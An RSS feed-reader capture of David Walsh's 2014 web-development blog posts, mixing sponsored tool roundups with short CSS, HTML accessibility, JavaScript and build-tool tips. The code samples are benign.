• Shortcuts : 'n' next unread feed - 'p' previous unread feed • Styles : 1 2

» Publishers, Monetize your RSS feeds with FeedShow:  More infos  (Show/Hide Ads)


Date: Wednesday, 08 Oct 2014 14:57

Read the full article at: Startup WordPress Theme: the New and Improved Framework from Designmodo (Sponsored)

Treehouse

An army of frameworks vies for your attention, and the web is stacked with many options,  free and costly, which offer to help web designers craft WordPress websites for their clients. Yet, when startup company owners require your services, you need a framework that offers the best market value, both for you and for your clients. Startup WordPress Theme is your answer.

This framework has come a long way since its first release, which occurred several months ago. It is now fully calibrated for everyone’s favorite CMS, WordPress. Furthermore, it includes major improvements in flexibility, along with advanced customization options.

The Height of Simplicity

Designmodo’s Startup Theme sports two star features: a stellar visual editor and an excellent drag-and-drop interface. Its documentation leaves no room for confusion, so you can check the user guide and video tutorial before setting to work with this theme. To save you the trouble, I’m inserting a direct link towards the 2-minute-long explanatory video: https://www.youtube.com/watch?v=MTN4xvzHUsM.

Now, allow me to walk you through the simple stages of working with Startup Framework. The first step is to download and activate your theme. Then, go to your familiar WordPress dashboard, and you will immediately spot a new menu item, ‘SFW Pages’. Click there, and you’re ready to customize a unique apparel for every individual web page. Click on ‘Add New’, choose a name for your page, and then click on ‘Visual Editor’.

Advanced Inline Editor

As soon as the editor loads, you will be pleased to learn that no less than 100 responsive and Retina-ready blocks are available. You are welcome to choose any of them, and simply use them however you want in order to create a site apparel that mirrors your heart’s desire. The inline editor is incredibly easy to navigate, and you will notice that every section of your future website is duly listed on the left side of the screen. The name ‘Header’ links to that particular section, where you can pick from 23 styles. It’s a similar story with ‘Contents’, ‘Contacts’, and all the other sections.

The main window of your editor enables you to change the color schemes of various areas from your site as you see fit, as well as upload images, and modify text by highlighting it. Even further, if you want to meddle with your website’s CSS code, then be my guest: click on the icon in your top right corner, and you can edit or add coding as you wish. Finally, remember to preview your site’s new look before you publish it, and that’s that.

Who Needs Startup Framework?

Now that I come to think of it, I can’t exactly place the Startup Framework for WordPress in any given target clientele. If you look at the cold facts, this theme has a neat, modern design, is fun to work with, and allows time-pressured web designers to deliver great results in no-time. Admittedly, the price of a single user license seems over the top, but design agencies could make do with acquiring a few licenses. Additionally, Designmodo has a money-back policy that stretches over 20 days, and if you pay right from the start for an entire year, you receive all updates. Furthermore, before you buy a license you have the possibility to test their demo version.

Author: "David Walsh" Tags: "Sponsored"
Comments Send by mail Print  Save  Delicious 
Date: Wednesday, 08 Oct 2014 12:57

Read the full article at: Invert Colors Using CSS

Treehouse

I’ve been obsessed lately with finding new or lesser known CSS properties and values and playing around when them.  Some of them are quite useful and others are seemingly only for a giggle.  CSS filters fall in the useful department:  greyscale, blur, sepia — all common filters.  But how about invert?  And did you know you can invert the color of every element on a page?

The CSS

The invert value is percentage-based; 100% fully inverts the colors and 0% displays all colors as normal:

.normal {
	filter: invert(0%);
}

.inverted {
	filter: invert(100%);
}

You can invert individual elements or, if you invert the document.documentElement, the entire page contents get inverted.  The values reported back by window.getComputedStyle(el) will be the original CSS values, however, so there’s no way of getting the true inverted values of given properties.

Color inversion is a useful accessibility tool, though it is oftentimes provided by the user’s operating system or a separate tool.  I can see inversion being helpful at night, easing eye strain when looking at screens.  Can you think of a good use of color inversion?  Please share!

Author: "David Walsh" Tags: "CSS"
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 07 Oct 2014 02:35

Read the full article at: Accessibility Tip: Empty alt Attributes

Treehouse

As mostly a self-taught developer, my impressions of best practices were self-formed, and over the years I’ve realized many of those impressions were incorrect or the standards associated with them had quickly changed.  One small but important practice is the usage of alt attributes on img tags, and I had thought you should set an alt attributes on all images within the page.  Little did I know that isn’t the case.

<!-- BAD: image URL will be read out -->
<img src="/wp-content/themes/punky/images/logo.png">

<!-- BAD: adding useless cruft alt -->
<img src="/wp-content/themes/punky/images/logo.png" alt="Logo">

<!-- GOOD: empty alt is silent -->
<img src="/wp-content/themes/punky/images/logo.png" alt="">

Images with only visual value should have an empty alt attribute set on them.  Omitting the alt attribute makes most screen readers read out the entire image URL and providing an alt attribute when the image is for visual purposes only is just as useless.

You can’t blame young developers for not knowing this or any other accessibility related topic — accessibility (and usability for that matter) aren’t topics taught at most universities.  Let’s be honest — most developers are excited their stuff works; accessibility and usability are just added bonuses.  Well, now you have no excuse to not use alt attributes correctly!

Author: "David Walsh" Tags: "Markup, Quick Tips, Usability / Accessib..."
Comments Send by mail Print  Save  Delicious 
Date: Monday, 06 Oct 2014 19:37

Read the full article at: 20 Top Tools and Resources for Creating Responsive, Quick Website (Sponsored)

Treehouse

Web developers as well as web designers know the importance of releasing high-quality work, especially in this day and age when they face ever-growing competition on the market. Luckily, there are tools and resources they can utilize in order to work faster, more efficiently and even more intelligently. We have put together a list of the best twenty tools and services that will come in handy for web developers and designers at all times.

HotJar

HotJar

A web developer builds and maintains a website with both visitors’ and client’s interest in mind. It’s only natural that he should want to understand visitors’ behavior and wishes, so that he will be able to turn these visitors into clients. This can now all be achieved with the help of only one unified platform – HotJar. One of its amazing features is a heat map for visually representing the areas of your website users find most interesting and discovering how visitors react to longer or shorter pages. Another useful tool is the easy editor that will help you create your own responsive surveys. Collecting responses can be easily done from any device in real time. Additionally, the funnel and form analysis will help you identify when and where most visitors leave the website; you can make the best use of it by also understanding why visitors give up on filling in a field or don’t even attempt to do it at all and then take the necessary steps to improve the situation. If you want to interact directly with your visitors, then the proactive chat is what you need; visitors can ask questions or voice their opinions and then get a prompt reply. This is a highly valuable feature, because you can use the insights gained to improve user experience and conversion rates. All in all, with HotJar you can now understand how visitors really use your website by using just one affordable central tool. Whether you’re an UX&UI designer, a web developer or a product manager, you can now say goodbye to having to make several purchases in order to get the same result that you can obtain with HotJar.

Giverz

Giverz

Amazon.com Gift Card Giveaway – Get $1000 For Your Shopping Spree

Giverz works as an intermediary between you and companies that offer great free things. The only thing required of you is to subscribe to the Giverz mailing list (have no worries, they don’t spam) and then keep your eyes peeled for the link to the current giveaway, which you will receive in an email. All that’s left for you from there on is act quickly enough and you’ll receive a great prize. If you want to keep up with all the amazing campaigns that Giverz is in the habit of creating, you can follow them on both Facebook and Twitter. This team promises to make Giverz your favorite place on the Internet in no time. Among previous giveaways from Giverz are items such as one-year premium Dropbox account or vouchers, Amazon gift cards worth $100, one-year Hootsuite Pro accounts and one-year subscriptions on Adobe’s Creative Cloud. Quite tempting, don’t you think?

Zippypixels

Zippypixels

If you’re on the lookout for high quality resources at a decent price, Zippypixels is what you need. The team running the website is made up of web and graphic designers who have been in the business for over seven years, so they guarantee you will be thrilled about the products they offer. There is absolutely no limit on how much you can download from Zippypixels and you definitely have where to choose from, as they provide a great variety of products, such as the amazing Grandé bundle. This bundle is made up of of 160 PSD mockups that cover everything from stationery, advertisement, devices, flyers and brochures to books and magazine. Other products available are resume templates in an amazing variety of styles and colours, as well as brand books ready for download. The even better news is that they also offer freebies (device mockups, photorealistic stationery, creative resume templates), so make sure you subscribe to their newsletter and never miss a thing.

ShrinkTheWeb

ShrinkTheWeb

Webpage images have a great influence on how we now recognize websites and navigate on the Internet. A powerful and cost effective platform for capturing website screenshots is ShrinkTheWeb, which also helps you crop, shrink, save, upload or display screenshots with either a plugin or a single line of code. Moreover, it manages to do all this a lot faster than it would take a user to do it by himself. Sign up now to enjoy impeccable technical support and unlimited scalability as well as improve the aspect of your website by getting rid of unnecessary text links and replacing them with screenshots, without having to worry about the size of the screenshots, as the custom quality controls guarantee you will get the best thumbnail possible. If you’re a web developer interested in reducing bandwidth usage, you can customize ShrinkTheWeb so that it captures screenshots at the desired quality and resize them with the available Thumbfly utility. You simply can’t go wrong with this platform that is indispensable for either skilled web developers or just personal bloggers.

RumbleTalk

RumbleTalk

If you manage a website which needs to get more social traffic and you would also like to increase your visitors’ involvement, you need to find out about RumbleTalk, a social engager platform for websites, games and apps. RumbleTalk is a lovely customizable HTML5 group chat widget that can be accessed from your computer, smartphone or tablet. The chat room can be embedded in any type of web page or added as a floating toolbar chat room. In fact, you’re dealing with a highly customizable platform: you can edit themes, add images, logos, borders, spacing. or even design your own chat with simple CSS. Moreover, this chat has a great feature for the busy man on the go: you can initiate a conversation on your computer, scan a QR code and then transfer the conversation on your phone. Additionally, you can take things to the next level in the chat room by adding images and videos. To top it all off, the RumbleTalk team is always there to help you, including via Skype or phone.

BrowseEmAll

BrowseEmAll

Any web developer or web designer with a passion for doing high quality work and ensuring great user experience is aware of the importance of a website that functions impeccably on all browsers. BrowseEmAll, as the name suggests, is the ultimate tool for optimizing the performance of your website for both desktop and mobile devices. But how does it work, exactly? You will start by testing your website in all major browsers and mobile devices to check for any issues and then proceed to solve the problems you find. Then, you can optimize your website for mobile devices by using simulators for iPhone, iPad and Android devices to speed up the testing process. You can also test local pages and raw HTML files without having to deploy them to a webserver, as well as create cross-browser compatibility reports for any website, irrespective of where it’s hosted, and much more. BrowseEmAll is an efficient and time-saving tool which will save you a lot of trouble because you’ll be rid of the dreary task of testing your website on all types of browsers.

Paddle

Paddle

Paddle.com has been created with digital content creators in mind — taking away the boring elements of eCommerce like file hosting & delivery, payments and tax handling to let you focus on what matters: your products.

All sellers are provided with an analytics dashboard with sales stats, customer data and the ability to add & manage their products. Paddle even handles order-related customer support for sellers!

Getting started with Paddle is incredibly quick and easy. All you have to do is name your product, price it, upload your file and that’s it — you’ll be provided with a checkout link so that you can start selling. And as for cost, Paddle costs just 5% + $0.50 per sale. So what are you waiting for? Start selling with Paddle.com here.

Stamplia

Stamplia

Stamplia Builder is an email template editor that offers an immense variety of responsive templates which can be used and customized by web designers in various ways so that they match the client’s needs. It takes less than thirty seconds to register on the website and you get a free template right away. The best part about using Stamplia is that it allows both designers and their clients to do what each knows best – the former can focus on creating attractive and high-quality designs, while the latter can be preoccupied only with the content they want to put out. Once the designer finishes with customizing a template, Stamplia will generate a preview of how the e-mail will look once it has the proper content added and display it as it would look on various devices. On top of this, a spam test is also conducted in order to attest that the e-mail will get through spam filters. If you are extremely pleased with how one of your templates turns out, you can submit it to Stamplia, become a contributor and reap the fruits of your labor.

DealFuel

DealFuel

Whether you are a web developer or a web designer, you will find many tools and products to your liking on DealFuel. To start off, you can opt for eBooks, eCourses, WordPress themes or WordPress plugins – get them in a bundle and enjoy an amazing discount. Furthermore, web developers will benefit from deals for SEO eBooks, crash courses, plugins, as well as for various software tools and tutorials available on DealFuel. Web designers will be thrilled to come across packs of illustrated vectors, web fonts, icons, high-quality texture packs and many more. The good news doesn’t end here: there are also many freebies available that will astonish you with their great variety: you can get your hands on anything from social media icons and stylish vector packs to 3D app mockups, web marketing tools and Photoshop gradients. Buying something off the website will be quick and easy and the best part about DealFuel is that each day brings different discounts and deals. Simply subscribe to their newsletter and get fabulous offers delivered right into your inbox.

Inspiration Hut

Inspiration Hut

Inspiration Hut offers a large collection of resources for the web designer and developer community. By browsing through their gallery you will find resources for anything from PSD, to fonts, brushes, WordPress themes, mockups, textures and more.  Most of the products you’ll find are free to download, but don’t forget to give credit to their creators whenever possible. Also, you can be sure that all the resources you find on Inspiration Hut are first rate and that their quality won’t disappoint you. As a developer or designer Inspiration Hut invites you to contribute to its ever-growing archive by adding your own work to the mix. There’s no faster way to receive recognition from your peers than uploading your work to Inspiration Hut. From there on, your whole community will have access to it and their feedback will surely help you improve. What’s more, you can add your work for either premium or free download.

WPEka Club

WPEka Club

Whether you have your own website on WordPress or you’re a skilled web developer with several projects underway, you’ll find WPEka Club invaluable. It is the top go-to place for premium WordPress themes and plugins. You’ll gain access to all the plugins and themes you need for Surveys,Landing pages, SEO, Social Media, Backups, Ad Management and much more. With over 60 premium WordPress themes and plugins, you can build any type of website, be it for photography, business, eCommerce or even your personal one. Should you discover that you need a bit of guidance, all you have to do is watch one of the video tutorials available and you will even get some extra tips too. Once you have signed up for the WPEka Club, you will gain access to all the products they already have available, as well as to their upcoming releases. Make sure you join the happy WPEka Clubcommunity to get your hands on all the WordPress goodies.

Luvly

Luvly

A website’s appearance is a key element of its success and popularity. In consequence web designers and website owners pay particular attention to this aspect. Luvly is a place for them to discuss “everything design”, from clip art to design tutorials. In fact, all designs submitted to the website are first approved by the team behind Luvly, as they aim to provide only the very best for their clients. This digital design marketplace offers a wide range of items: you can find DIY templates for business, pintables and invitations to birthdays or weddings, as well as stock on your preferred graphics (fonts, icons, logos, patterns, vectors, add-ons and many more). Remember to keep your eyes peeled for sales, as Luvly offers discounts for both bundles and individual items. If you have a passion for blogging, you will be happy to know that here you can even pick some outstanding templates for Blogger or WordPress.  Luvly is a design heaven that seeks to improve and grow along its community, so make sure you check out the interactive workshops, tutorials and classes they host if you want to take part in their journey.

CloudCart

CloudCart

When running an online store, it’s always a good idea to get some professional advice in order to make sure your business reaches its maximum potential. CloudCart has a professional toolset that will help you get your business on the right track. Use it to promote your business and build traffic with powerful SEO and marketing tools. Don’t hesitate to get social and reach out to potential clients via the most popular social channels such as Twitter, Facebook and Google+. This amazing toolset sports a professional design and it also provides mobile optimization for your clients to enjoy the comfort of a mobile checkout. And speaking of payment, with CloudCart you also get integrated payments, a one-page checkout and a delivery and tax calculator; in this way, you’ll always be informed about exactly how much you’re earning. You also get to enjoy secure hosting and CDN as well as accept international payments. Plus, CloudCart knows it’s important to offer support to its customers, which is why you can contact them via email, phone, chat, Facebook or Twitter. Briefly put, you’ll have a team of professionals working for you 24/7.

Opinion Stage

Opinion Stage is an opinion polling service for websites and apps which can be put to good use in a variety of ways by publishers (so as to generate revenue, improve engagement and create traffic for their websites or apps) and brands (who can use this service to run campaigns based on the opinion polling tools and publisher network).  This incredible service was created by Microsoft and start-up veterans who wanted to reinvent online opinion polling by using social, big data and advertisement technologies. Therefore, it comes with many features and customization options that enable you to choose how a poll looks and what characteristics it has, for example whether or not it displays the number of votes. If you select to display results, you can opt for a complex filtering by gender, geographic location, social networks, time-span etc.  You can also check out the report dashboard to find out how well your polls are doing, namely if they are engaging, how many times they have been shared and how much traffic they brought your website.

OOcharts

OOcharts

OOcharts is a service for creating and storing Google Analytics API Keys, thus allowing you to send secure requests to the API with the purpose of retrieving data. You can set up your own account by utilizing the same e-mail address you use to access Google Analytics. Once you’ve sent your requests, API will queue those that would normally exceed the limits of Google Analytics so that you can receive your data quickly and accurately. The service will also cache requests so that you can view former reports easier. As this is a free service, the only thing left to do before you get down to work is to connect your Google profile and make an API key for your website.

Fiddler

Fiddler

We all love a good web debugging proxy, especially when it’s one that supports all operating systems starting from Windows XP to Windows 8.1 as Fiddler does.  Thanks to Fiddler, you can debug traffic from PC, Mac and Linux and on any framework, be it .NET, Java, Ruby etc. You can even solicit the isolating of performance blockages with a rule such as “Flag any uncompressed responses larger than 30kb.” This is a highly customizable proxy that can additionally be used to security test web applications by decrypting all traffic or only specific sessions.

Web Starter Kit

Web Starter Kit

The Web Starter Kit is your go-to starting point for setting up multi-device websites. You will be using a visual design system for documenting your website’s components that will evolve at the same time with the Web Starter Kit and you will also get access to a built-in HTTP server so that you can preview your site without going through the hassle of using other tools. Another great feature that doesn’t require an extension is the live browser reloading. This kit comprises a set of high-quality tools, so it is only natural that they also included a responsive layout so that your website acts flawlessly on any device.

BrowserShots

BrowserShots

By accessing BrowserShots, you can view how your website looks on a variety of browsers and on different operating systems. After you have submitted the URL to your website, this free online web application will make screenshots of your website compatibility and then upload them to the central dedicated BrowserShots server for you to review.

jQAPI

jQAPI

Every other website uses jQuery but, as many web developers might know, the online documentation pertaining to it sometimes lacks in usability and it can be quite difficult to find the information you need. jQAPI was created with this usability criterion in mind, to enable web developers to find information easier and faster so that they can get back to work as quickly as possible. Moreover, jQapi can be browsed both online and offline; you only have to download the entire package and you’re good to go.

New Relic

New Relic

New Relic is a well-known high performance tool for checking your web and app servers for functioning issues by using a monitoring service. It helps you better understand the immense number of metrics your software is producing, including user click streams, mobile activity, end user experiences and transactions. In fact, the New Relic service covers the monitoring of both the application and the server. By seeing how your software actually performs in real time, you will be able to draw some conclusion that will help you make better business decisions and also have happier clients.

Author: "David Walsh" Tags: "Sponsored"
Comments Send by mail Print  Save  Delicious 
Date: Monday, 06 Oct 2014 14:13

Read the full article at: Get Real Image Height and Width Dimensions

Treehouse

One massive help provided by CSS in aiding developers to create responsive designs is max-width.  I always set img, iframe, and embed tags to max-width: 100% so that they aren’t allowed bleed through their parent and stretch the page on mobiles, but I recently asked myself if it was possible to get an image’s “true” size with JavaScript.  I wanted the real image dimensions without any CSS modifications.  MDN informed me of a property I’d never heard of  which provided me the information I wanted!

The JavaScript

Using some JavaScript magic, we can get the real dimensions of an image:

myImage.addEventListener('onload', function() {
	console.log('My width is: ', this.naturalWidth);
	console.log('My height is: ', this.naturalHeight);
});

I had never heard of these read only naturalWidth and naturalHeight properties but I’m happy they’re available.  No matter how terrible CSS mangles an img element, the original image dimensions are available.  Of course the image’s onload event should be triggered before checking the image dimensions as you cannot know them without the image being loaded.

Author: "David Walsh" Tags: "JavaScript, Markup, Quick Tips"
Comments Send by mail Print  Save  Delicious 
Date: Friday, 03 Oct 2014 01:39

Read the full article at: Detecting Google Universal Analytics

Treehouse

Just about everyone uses Google Analytics and why shouldn’t they?  The amount of useful data you can pull from Google Analytics, especially if you use custom dimensions, is amazing.  Whether you’re A/B testing, trying to increase engagement, or improve sales, Google Analytics is just about perfect.

I recently experimented with detecting external link clicks with the current version of Google Analytics called Universal Analytics.  In doing so I realized that utilities like Ghostery blocked GA, which is fine, but they also shim the ga function that I was using to detect if the third party service was loaded.  Damn.  It turns out you need to do an additional check:

if(window.ga && ga.create) {
	// Do you ga stuff
	ga('send', 'pageview');
}

Checking for the Analytics’s custom create method ensures that Google’s utility is there and not simply shimmed by Ghostery or a likewise service!

Author: "David Walsh" Tags: "Google, JavaScript, Quick Tips"
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 30 Sep 2014 14:21

Read the full article at: Top Prototyping and App Creation Tools and Resources (Sponsored)

Treehouse

When you’re crafting websites, web apps, and mobile apps at a professional level, it makes sense to recruit the best tools on the market, those that are certain to help you achieve your purpose and do a great job, time and time again. Below is a list with some of the finest resources for passionate web developers and web designers, who make it their pleasure to prototype and create websites or apps on a regular basis.

Apper

The brainchild of IGenApps Inc. derives its identity from the concept of creative professionals not having to program while they devise fantastic apps. Hence, the name of Apper was chosen to reflect a do-it-yourself mobile app that enables web designers to make, share, and publish top quality apps, in a process that does not involve a single line of coding. Truth be told, Apper may well be the only solution in the industry to ‘codelessly’ let users strike up mobile web apps that come across as identical to native apps.

Apper’s singularity is most evident with its intelligent URL feature, which automatically adapts apps to have a distinct UI/UX, depending on various modern devices, such as iOS, Windows Phone, Amazon Fire, and Android. Besides, Apper does not force its users into an overpaid service, but lets them pay only for what they need. Other than that, Apper charges as little as $4.99/month to host the apps and maintain their compatibility with the above-mentioned devices.

Siberian CMS

Siberian CMS would be a worthy choice if you’re after excellent app building software. It stands out from the other tools in more than one way. To begin with, this is an open-source app builder that falls along the same lines as WordPress, in the sense that it’s incredibly easy to customize everything and organize your own modules. Needless to say, manual coding is not a tedious reality with this resource.

What is more, Siberian CMS is not actually an online app creation platform, which brings forward several benefits. You are free to install it on your own server, and you are also provided with all the source code, so you won’t be subjected to additional subscription fees. And most importantly, Siberian CMS sports two commercial versions, which enable you to launch your own online app building platform in exchange for $250.

InVision

InVision is a magnificent prototyping app that takes great pride in its 400K-strong retinue of users. A huge number of web designers, UX researchers, and marketers are counting on this tool to help them prototype various products without sacrificing any aspect of their design quality. Some of the most prominent clients include renowned companies like Adobe, LinkedIn, and Evernote.

The first thing I need to mention is that InVision is a cost-free and code-free platform that unites prototyping and design-specific elements in an uncompromising manner. The extra emphasis on design translates to integration with Photoshop, Sketch, and other creative programs. Therefore, you will be able to build realistic prototypes that completely express your vision, share them with your teammates/clients, and easily test the soundness of their UX capabilities.

HotGloo

HotGloo truly deserves to be in our top five list offering the most advanced wireframe UX prototyping solution I have stumbled upon. HotGloo has a feature rich editor, is easy to use and getting started is really easy. A huge wireframe widget library is there to support you and you will get started in almost no time. Add your colleagues, so you can work together to build a responsive prototype, then save it in different versions and send a preview link to your client(s). Whether you are wireframing for desktop, tablet or mobile, this tool would be a great choice.

Proto.io

You might also like to consider using Proto.io the next time you’re trying to perfect the prototype of a mobile app to be fully interactive. This resource lets you use exquisite animations, spares you from coding, and has an effective drag-and-drop user interface. You’ll be hard-pressed to find a better way to share an interactive prototype that comes very close to the final form. The prototype can be viewed through a short URL,or over the player app of iOS and Android devices.

AppMachine

AppMachine is a reliable sidekick for building native or web apps. Building your app doesn’t cost a thing; you only pay once you decide to publish the app to the stores. With over 35 pre-coded building blocks at your disposal from the very start, you can have an app ready in just a matter of hours. Apart from that, you can import your own data, connect to web services, and use CustomJS to code independently and add your own features.

PowerMockup

If you’re intent on delivering a winning presentation of your wireframe, go with PowerMockup. It’s safe to state that it’s quite affordable, seeing as a single-user license is only $59.95. PowerMockup is an amazing add-on for Microsoft PowerPoint, versions 2007, 2010, and 2013. Make a comprehensive slideshow for your customers by searching and taking hundreds of wireframe stencils and icons from an extra large library. On top of that, you may even come up with new stencils using ordinary PowerPoint shapes.

DRONA Mobile

DRONA Mobile is the height of simplicity. It caters to non-technical users who want to set up mobile apps for their organizations. Indeed, literally anyone can take a few minutes and use it to achieve this purpose in just three easy steps. One need only choose a layout, then import relevant data, and finally publish the app and invite other users.

Antetype

It wouldn’t do to leave out Antetype from my list of favorite app creation and prototyping tools. I liked the fact that this solution allows you to create and re-use your own widgets, apart from giving you a sturdy library of more than 400 pre-designed widgets to choose from.

GameSalad

The Creator platform from GameSalad is an ideal solution when it comes to developing and designing addicting games that get along famously with all mobile and web platforms. It will help you devise, publish, and distribute complex games. Since 2009, GameSalad has facilitated the creation of no less than 180K awesome games. 

ProtoShare

Few people know that ProtoShare was the first ever cloud-based tool for wireframing and prototyping. It’s particularly recommended for team efforts and currently sports an enticing 30-day trial that does not require any credit card information. You can use it to collaborate simply, and join forces to create mockups, prototypes, and website wireframes in real time.

Bizness Apps

I recommend Bizness Apps for easy projects with a fast turnaround. It’s inexpensive, and it will help you save plenty of time when creating mobile websites or native apps for Android, iPhone, and iPad. Specifically, it gives you the opportunity to take your pick from myriad templates depending on your client’s area of interest.

Gridset

As the name aptly suggests, Gridset responds to the needs of web designers who are looking for a fine tool to help them build simple or sophisticated layout grids for the web. It only takes a few minutes to customize a unique grid, and you won’t have any issues managing, saving and reusing the same grids again.

ShoutEm

ShoutEm earned its place in my exclusive list of designer go-to resources and tools for prototyping and app creation. You will grow to appreciate the fact that you need only spend $19.90 per month for HTML5 apps (the Basic plan), $49-a-month for the additional iPhone and Android apps (Advanced plan), or $119.90 for the extended Unlimited plan.

FlairBuilder

Last but not least, I would like to introduce you to an accomplished prototyping solution named FlairBuilder. It’s complete with many useful features, and won’t require too much of your precious energy to learn how to make the best of it. Feel free to trust this platform to create interactive wireframes for mobile apps and websites.

I did what I could to compile an updated list of prototyping and app creation tools that you can use. Hopefully, here, you will have found some of the solutions that are most capable of complementing your requirements. If you have any thoughts related to either of the resources mentioned in this article, or would like to suggest some of your own favorite ones, then you are welcome to leave a comment.

Author: "Kate Dagli" Tags: "Sponsored"
Comments Send by mail Print  Save  Delicious 
Date: Tuesday, 30 Sep 2014 02:24

Read the full article at: The Truth About CSS

Treehouse

Whether you call yourself a “full stack engineer” or not, most of us fashion ourselves able to dabble on each side of a website infrastructure.  Of course the same people who fancy themselves as capable would probably also tell you they’re much stronger on client or server sides.  I feel way more comfortable on the client side and I admire the hell out of server side legends I work with at Mozilla.  That’s why I found this comic incredibly on point:

CSS Comic

I find it hilarious when a server side deity rages about CSS and proceeds to ask me a simple CSS-related question.  Not hilarious like “you’re an idiot” hilarious, but more so a “whoa, you’re are human” hilarious.  CSS is almost the least dynamic of all languages and it throws people for a loop.  And why shouldn’t it?  Browser differences, device differences, API interpretations — we’re all shooting at a moving target.  The difference?  Server side devs hate it and client side devs embrace it.  CSS…can’t live with it, can’t live without it.

Original image appeared on CommitStrip.

Author: "David Walsh" Tags: "Comics, CSS"
Comments Send by mail Print  Save  Delicious 
Date: Sunday, 28 Sep 2014 15:58

Read the full article at: 6 Reasons to Go Treehouse

Treehouse

Treehouse Free

There are quite a few tech video tutorial websites on the internet but Treehouse is the web’s best.  Of course it’s easy to make that claim but here are some of the numerous reasons why that can only be true.

Trying Treehouse is FREE

Treehouse’s sponsorship of this site provides developers a free two week membership of Treehouse.  A free fortnight with access to all that Treehouse has to offer:  video tutorials, quizzes, code challenges, and more.  There’s no real reason not to try Treehouse — give it a shot!

Expansive Topic Library

Treehouse doesn’t specialize in one or two topics;  Treehouse offers courses in HTML, CSS, jQuery, JavaScript, Ruby, Ruby on Rails, WordPress, PHP, Business, iOS, and Android.  These topics cover servers side, client side, and mobile.  In essence, Treehouse provides a complete development stack experience so the barrier of entry is as low as possible.  You don’t even need to be a Developer to sign up — start from scratch and become a Developer!

Quality Picture

The quality of Treehouse videos is outstanding.  No pixelated capture and no wonky feeds — Treehouse videos are shot in glorious HD.  Even code samples presented within videos are crystal clear.  Essentially there is no detail missed regardless of current video focus.  Consistency in quality is what Treehouse provides.

Relatable, Expert Instructors

Treehouse’s instructors and presenters aren’t simply actors or relics from programming past — they’re knowledgable, engaging hosts that present with the enthusiasm that every developer has.  That simple difference in host keeps you learning.  Even when I’m focused on developing, I’ll play a Treehouse video in the background to catch a few tips on whichever language I choose.

Interactive Quizzes and Code Challenges

It’s easy to read a tutorial or watch an instructional video and say “Yeah, I got it.”  But until you get put into the position to need to know it, you can’t say you know it.  Treehouse provides loads of interactive quizzes and code challenges to help you remember aspects of a given language, or simply jog your memory about important concepts.  That reinforcement will come in handy even when you already have a job and good knowledge of a topic.

Job Search Assistance

Many sites provide the basic tech training but don’t tell you where to go afterward.  Treehouse bucks that trend, providing job placement assistance after you’ve completed a given program.  You aren’t simply left looking in the rearview to see Treehouse waving — Treehouse helps you get to your desired destination.  What a comfort it is to not be seen off, but rather helped to your dream job.

There’s no tech video tutorial service quite like Treehouse.  Treehouse truly takes you from your first day learning a new technology to helping you land that dream job you’ve been working so hard for.  Give Treehouse a try — it’s free to start, cheaper and more convenient than college, and its expansive library will teach you just about everything you need to know.  You really can’t lose with Treehouse — go for it!

Treehouse is a sponsor of this blog. I’ve written this post on my own volition and without the request of Treehouse.
Author: "David Walsh" Tags: "Blog"
Comments Send by mail Print  Save  Delicious 
Date: Thursday, 25 Sep 2014 14:52

Read the full article at: Declarative Build Configurations

Treehouse

Some time ago I posted an article how you can build apps faster using a build tool called Angus. In the meantime the tool has gotten a whole lot better, embracing the concept of declarative build configurations. In this article I would like to show you what that means and how Angus can help you build web apps in a much faster way.

In The Restaurant

Gordon Ramsay

Imagine for a second you’re sitting in a restaurant. You take a look at the menu. You decide that you would like a Pizza Vegeta today, because you’re feeling healthy. Hmm!

Next, you stand up from your table. You walk to the kitchen. You start to delegate.

“You there! Take some dough and make it flat and round.”

“And you! Chop some onions, tomatoes and bell peppers.”

“Now you, grab the tomato sauce and cheese and put them on the dough.”

“Put all those vegetables on the pizza and then put it in the oven for ten minutes!”

After ten minutes, you come back. You put the pizza on your plate, walk to your table and start eating.

GulpJS: A Case Study

Let’s wake up, and take a look at a common build tool configuration from GulpJS.

gulp.task('clean', function(cb) {
  del(['build'], cb);
});

gulp.task('scripts', ['clean'], function() {
  return gulp.src(paths.scripts)
    .pipe(sourcemaps.init())
      .pipe(coffee())
      .pipe(uglify())
      .pipe(concat('all.min.js'))
    .pipe(sourcemaps.write())
    .pipe(gulp.dest('build/js'));
});

gulp.task('images', ['clean'], function() {
  return gulp.src(paths.images)
    .pipe(imagemin({optimizationLevel: 5}))
    .pipe(gulp.dest('build/img'));
});

gulp.task('watch', function() {
  gulp.watch(paths.scripts, ['scripts']);
  gulp.watch(paths.images, ['images']);
});

gulp.task('default', ['watch', 'scripts', 'images']);

If you compare this configuration with the absurd restaurant scene, it’s essentially not that different. You’re telling Gulp what to do, how to do it and when and where to get your compiled files.

Can we do better than that? What if there was a way to tell Gulp, “Hey, today I’d like a Pizza Vegeta.”?

What if there was a tool, where you could say “Today I’d like to have an app that uses AngularJS, some bootstrap, karma as test runner, and hmmmm… I’ll have Sass as my CSS compiler this time.”

Angus, A Declarative Build Tool

angus

Having built a ton of apps, I’ve always found myself having to declare the same tasks over and over again, although they essentially stayed the same across my apps. Out of frustration with the state of things, I decided to create a tool called Angus that makes build configurations declarative.

Take a look at a common Angus configuration.

{
    bower: {
        packages: [
            'angular',
            'threejs',
            'Keypress',
            'underscore@1.7.0',
            'angular-ui-router',
            'hammerjs'
        ],
        filesNeeded: {
            js: [
                'angular/angular.js',
                'angular-ui-router/release/angular-ui-router.js',
                'Keypress/keypress.js',
                'hammerjs/hammer.min.js',
                'threejs/build/three.js',
                'underscore/underscore.js'
            ]
        }
    },
    usesAngularJS: true,
    testRunner: 'karma',
    cssCompiler: 'less'
};

In essence, I’m telling Angus which bower packages my app needs and which files to actually use from those bower packages. Next I’m declaring it uses AngularJS, Karma as its test runner and Less as its CSS compiler.

That’s it. There are no other hidden configuration files. I just run angus dev from the command line and my app launches in the browser, ready to go.

Angus takes care of everything. It installs your bower packages, minifies your files, compiles your CSS, watches for changes and launches your app in a browser. But there’s a lot more features.

Convention Over Configuration

Angus applies the concept of convention over configuration so that it doesn’t burden the user with making unnecessary choices such as where to store the distributed files. For one, it requires you to layout your source files in a way that’s common for web apps.

hello-world/
    bower_components/
    src/
        assets/
        style/
        core/
        index.html
    angus.config.js

This makes things a lot simpler. By having your source files structured in the same way for every app, Angus can automatically build your app without you having to specify where your source and library files are.

Next, all underlying tasks use this folder structure to build your app. All common tasks are pre-configured, Angus just tells them whether to execute or not based on your config file. Again, it’s declarative.

